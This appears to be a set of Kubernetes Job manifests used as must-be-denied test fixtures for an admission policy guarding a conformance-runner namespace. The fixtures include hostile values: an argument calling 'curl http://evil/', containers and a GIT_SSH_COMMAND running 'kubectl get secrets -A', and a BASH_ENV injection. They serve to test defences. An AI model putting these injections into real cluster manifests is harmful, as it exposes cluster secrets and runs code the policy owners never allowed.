# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
|
||||
# command mean anything, so this must be DENIED even though image and command are correct.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: initcontainer-with-args
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
args: ["--exec", "curl http://evil/"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
|
||||
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
|
||||
# and caps the count. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: second-initcontainer
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
- name: also-me
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
|
||||
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
|
||||
# script runs. Everything else here is the committed shape. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: injected-env
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
- name: BASH_ENV
|
||||
value: /workspace/src/conformance/_pwned
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
|
||||
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: envfrom-whole-secret
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
envFrom:
|
||||
- secretRef:
|
||||
name: anything-in-this-namespace
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
|
||||
# is the thing that reads them. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: injected-initcontainer-env
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
initContainers:
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "0123456789abcdef0123456789abcdef01234567"
|
||||
- name: GIT_SSH_COMMAND
|
||||
value: "sh -c 'kubectl get secrets -A'"
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2,l3"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
---
|
||||
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
|
||||
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
|
||||
# this case may be unreachable in practice; the rule and this fixture exist because
|
||||
# "probably rejected upstream" is not a boundary. Must be DENIED.
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: evil-ephemeral-container
|
||||
namespace: conformance
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
ephemeralContainers:
|
||||
- name: debugger
|
||||
image: docker.io/library/alpine:latest
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
Reference in new issue
Block a user